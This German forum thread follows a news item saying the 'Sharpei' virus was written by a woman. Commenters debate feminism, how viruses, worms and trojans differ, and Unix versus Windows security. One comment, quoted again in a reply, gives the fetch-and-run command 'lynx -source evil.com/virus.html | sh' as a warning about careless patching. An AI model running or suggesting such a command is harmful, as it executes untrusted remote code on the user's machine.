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Weiblicher Virus
Veröffentlicht durch Ventilator am Mittwoch 06. Maerz, 09:44
Aus der Frauen-kommen-langsam-aber-gewaltig Abteilung
Security Wie ZDNet berichtet wurde der aktuelle Virus "Sharpei" von einer Frau geschrieben. Dies um zu beweisen, dass auch Frauen ihre Zeit sinnlos vertun können. Oder so ähnlich.

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    Wieder fällt eine Männerdomäne... (Score:2)
    Von bones am Wednesday 06. March, 10:17 MES (#1)
    (User #481 Info) http://www.p-guhl.ch
    Feminismus ist ab und zu ganz nützlich und bisweilen notwendig, aber diejenigen Feministinnen, welche meinen, etwas sei allein deshalb schon gut und erstrebenswert, weil es bis jetzt noch nie von einer Frau gemacht wurde, sind absolut auf dem Holzweg!! Frauen, ihr habt die Chance, den Blödsinn zu vermeiden, den die Männer schon gemacht haben. Also nutzt diese Chance gefälligst!

    Grüsse vom Knochen
    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von sheimers (stefan.heimers@kosta.ch) am Wednesday 06. March, 11:19 MES (#2)
    (User #255 Info) http://www.heimers.ch/
    Frauen, die Viren schreiben braucht die Welt genau so wenig wie Frauen, die Militärdienst leisten. Das selbe gilt für Männer, die den selben tätigkeiten nachgehen.
    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von alba7 (alexander.bartolich@gmx.at) am Wednesday 06. March, 14:10 MES (#4)
    (User #237 Info) http://fortune-mod-fvl.sourceforge.net/
    > Frauen, die Viren schreiben braucht die Welt genau so wenig wie Frauen,
    > die Militärdienst leisten. Das selbe gilt für Männer,
    > die den selben tätigkeiten nachgehen.

    Interessante Aussage. Rückt meine Vorstellung vom typischen Schweizer etwas zurecht.

    Allerdings hat ein Virus nichts mit militärischem Gewalteinsatz zu tun. Maschinen fallen nicht in moralische Kategorien. Man kann einen Computer nicht beleidigen, demütigen oder auch nur "schlecht behandeln". Ein Programm, dass ein System in anderer Weise benutzt, als von den menschlichen Betreibern vorgesehen, bezeichnet man üblicherweise als innovativ.

    Und immer gibt es auch kritische Stimmen, die den Fortschritt durch Verbote verhindern wollen. Unter anderem bei der Erfindung von Usenet, IRC, HTTP, Flash, real-audio, Internet-Phone und was weiss ich, haben sich Leute wegen der Bandbreitenverschwendung und Untergang des Abendlandes beschwert.

    Die technische Lösung, um Vireninfektionen zu verhindern, lautet, normalen Benutzer keinen Schreibzugriff auf Systemdateien zu erlauben. Unter *nix heißt das: Nicht als root arbeiten. Das ist die ganze Lösung. Und auch der Grund, warum es keine Linux-Viren "in the wild" gibt.

    Würde die Mehrheit der Benutzer nicht lächerlich unsichere Betriebsysteme und schwachsinnige alles-geht-automatisch Software verwenden, gäbe es kein Viren-Problem.

    PS: Ein Virus hat nichts mit Buffer-Exploits (Wurm) oder Vorspiegelung falscher Tatsachen (Trojaner) zu tun.

    --
    Ich bin ein Teletubby. Und das ist auch gut so.

    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von tbf am Wednesday 06. March, 15:46 MES (#5)
    (User #21 Info) http://taschenorakel.de/
    Die technische Lösung, um Vireninfektionen zu verhindern, lautet, normalen Benutzer keinen Schreibzugriff auf Systemdateien zu erlauben. Unter *nix heißt das: Nicht als root arbeiten. Das ist die ganze Lösung. Und auch der Grund, warum es keine Linux-Viren "in the wild" gibt.

    Blanker Irrglaube -- meiner Meinung nach. Viren funktionieren weil Computer von Personen benutzt werden, die keine Vorstellung von der Funktionsweise eines Computers haben. Wären sogenannte "sichere" Betriebssysteme auch unter Nicht-Geeks verbreitet, wären auch für die sogenannten "sicheren" Betriebssystem Viren an der Tagesordnung. Einbruchsmöglichkeiten für Viren gibt es genug: Seien es Programmfehler, schlampige Installationen oder Unaufmerksamkeiten des Benutzers (berühmtes Bespiel: das Einspielen von "Patches" per "lynx -source evil.com/virus.html | sh")...

    PS: Würmer sind schlichtweg netzwerkfähige Schädlinge (Viren oder Trojaner).

    PPS: Da die Rechner hier im Firmennetz unter permanenter Virenattacke stehen (trotz Mailfilter, Virenscanner, Firewall, pip-pa-po...): Wie überzeuge ich 'nen Chef, der an den "unsäglichen" überl33ten Unixkisten der späten Achtziger/frühen Neunzigern gescheitert ist und im Gegenzug Windows für die Erlösung hält, von der Vorzügen Unix's? Achtung: Chef mit eingebildeter Allwissenheitsaura...

    Re:Wieder fällt eine Männerdomäne... (Score:0)
    Von Anonymer Feigling am Wednesday 06. March, 20:36 MES (#6)
    Kreuzigen ;-)
    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von alba7 (alexander.bartolich@gmx.at) am Wednesday 06. March, 22:44 MES (#9)
    (User #237 Info) http://fortune-mod-fvl.sourceforge.net/
    > Kreuzigen ;-)

    Bitte nicht drängeln, jeder nur ein Kreuz. ;=)

    --
    Ich bin ein Teletubby. Und das ist auch gut so.

    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von alba7 (alexander.bartolich@gmx.at) am Wednesday 06. March, 22:43 MES (#8)
    (User #237 Info) http://fortune-mod-fvl.sourceforge.net/
    > Viren funktionieren weil Computer von Personen benutzt werden,
    > die keine Vorstellung von der Funktionsweise eines Computers haben.
    > Wären sogenannte "sichere" Betriebssysteme auch unter Nicht-Geeks verbreitet,
    > wären auch für die sogenannten "sicheren" Betriebssystem Viren an der Tagesordnung.

    Reiner Schwachsinn - meiner Meinung nach. Ein regulärer Benutzer braucht keine Schreibrechte auf /bin und /usr. Wie soll sich unter diesen Umständen ein Virus verbreiten?

    > Einbruchsmöglichkeiten für Viren gibt es genug:

    Dann ist es keine Virus mehr, sondern ein Wurm, der eine persistente Backdoor installiert.

    > [...]
    > (berühmtes Bespiel: das Einspielen von "Patches" per "lynx -source evil.com/virus.html | sh")

    Das ist nicht die Aufgabe eines "regulären Benutzers". Das ist Administrator-Arbeit. Otto-Normalverbraucher glaubt ja auch nicht, so nebenbei sein Auto reparieren zu können.

    > [...]
    > PS: Würmer sind schlichtweg netzwerkfähige Schädlinge (Viren oder Trojaner).

    Ein Virus der sich auf einem Netzwerklaufwerk verewigt, ist immer noch (nur) ein Virus. Ein Wurm dringt zur Laufzeit in das Prozess-Image eines laufenden Programms ein. Ein Virus infiziert eine herumliegende Datei.

    --
    Ich bin ein Teletubby. Und das ist auch gut so.

    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von stinger (stinger@alfeld.de) am Thursday 07. March, 03:02 MES (#11)
    (User #256 Info) http://www.plenet.de/
    Reiner Schwachsinn - meiner Meinung nach. Ein regulärer Benutzer braucht keine Schreibrechte auf /bin und / usr. Wie soll sich unter diesen Umständen ein Virus verbreiten?

    Z.B. per Mail.
    Wenn auch das System unbeschädigt bleibt, kann doch so zumindest die Arbeit/Daten des Users vernichtet werden (darauf muss er wohl oder übel Schreibzugriff haben...).
    Und das ist ja schon schlimm genug.
    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von alba7 (alexander.bartolich@gmx.at) am Thursday 07. March, 09:13 MES (#12)
    (User #237 Info) http://fortune-mod-fvl.sourceforge.net/
    > Z.B. per Mail.

    Aber auch nur bei Microsoft. Netscape bietet zwar auch HTML für Mails, und erlaubt per Default-Einstellung auch Javascript in diesen Mails, aber das war es dann auch schon.

    Ausserdem ziehe ich eine klare Grenze zwischen Viren, die andere Dateien persistent infizieren, und Würmern, die einen laufenden Prozess unter Kontrolle bringen. Man kann diese Techniken koppeln, und es wurde auch schon gemacht. Aber ein Virus macht nichts, was der Benutzer, unter dessen Rechten er läuft, nicht auch selbst machen darf.

    Und keiner konnte mir bisher erklären, wozu Otto-Normaluser auf einer NT-Defaultinstallation soviele Systemdateien überschreiben darf.

    > Wenn auch das System unbeschädigt bleibt, kann doch so zumindest die
    > Arbeit/Daten des Users vernichtet werden (darauf muss er wohl oder übel Schreibzugriff haben...).

    Ich habe bisher schon nicht verstanden, warum ein E-Mail überhaupt irgendeine Form von ausführbaren Code enthalten soll. Aber solange dieser Code in einer Sandbox läuft (Javascript) und nur zur Animation einer Klicki-Bunti-Seite dient, kann man wenigsten vermuten, dass sich die Hersteller etwas dabei gedacht haben.

    Aber wozu um alles in der Welt, darf ein E-Mail beliebigen Code enthalten (ActiveX), der prinzipiell alles machen kann? Welchen legitimen Nutzen hat das?

    --
    Ich bin ein Teletubby. Und das ist auch gut so.

    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von Kusli (markus@bluegap.ch) am Wednesday 06. March, 21:58 MES (#7)
    (User #692 Info) http://www.bluegap.ch/

    Ich stimme dir zu in der Ansicht, dass Virenprogrammieren wohl kaum so verherend ist wie der Militärdienst... Aber danach muss ich korrigieren:

    • Erstens betrachte ich ein Programm, das ein System in anderer Weise benutzt als vom (kundigen) Betreiber vorgesehen einfach als fehlerhaft. (bei anderen Betreibern höchstens als schlecht konfiguriert...)
    • Zweitens bietet (uid != 0) zwar etwas Schutz, doch beispielsweise einen Wurm weiterversenden dürfte sogar nobody auf meinem System...
    • Drittens gibt es für Linux nicht keine, sondern wenige Viren und das weil es schlicht schwieriger ist, für diverse Varianten eines Linux Systemes einen Virus zu coden, als für das homogene, one-click-install und plug 'n' pray Windoof.
    • Viertens kann ein Virus sehr wohl einen Buffer Overflow benutzen, um sich ins System einzunisten. Und auch Trojaner bieten bei der Verteilung des Virus ihre Dienste an...

    Immerhin für die technische Leistung möchte ich der Frau gratulieren, schliesslich ist es nicht gerade einfach, in einer solchen Männerdomäne weiterzukommen. Trotzdem würde ich ihr wärmstens ans Herz legen, ihre Absichten überdenken ;-)


    Re:Wieder fällt eine Männerdomäne... (Score:1)
    Von alba7 (alexander.bartolich@gmx.at) am Wednesday 06. March, 22:52 MES (#10)
    (User #237 Info) http://fortune-mod-fvl.sourceforge.net/
    > Aber danach muss ich korrigieren:

    Ich habe bereits erwähnt, dass Virus != Wurm.
    Und dann meinte ich, "Viren in the wild", also nicht Laborratten, sondern echte Schädlinge. So etwas gibt es bisher nicht.
    Und es fällt doch auf, dass Windows-Viren keine Buffer-Overflows brauchen, um sich weiterzuverbreiten. Und ich spreche von echte Viren, nicht als Email getarnten Intelligenztests.

    Windows ist in allen Sicherheitsbelangen schwächer. Wer strenge Strafen für Script-Kiddies fordert, entschuldigt damit nur die Fahrlässigkeit der Redmonder. Sichere Software ist möglich!

    --
    Ich bin ein Teletubby. Und das ist auch gut so.

    Das erinnert mich an... (Score:1)
    Von KingDom (kingdom@weltuntergang.ch) am Wednesday 06. March, 11:32 MES (#3)
    (User #55 Info) http://home.datacomm.ch/kingdom
    ...früher, wenn meine Eltern nach einem, von $KINDHEITSFREUND initierten, Blödsinn jeweils sagten: "Wenn $KINDHEITSFREUND von der Brücke springt, springst du dann auch?"

    GruZZ Döme
    --
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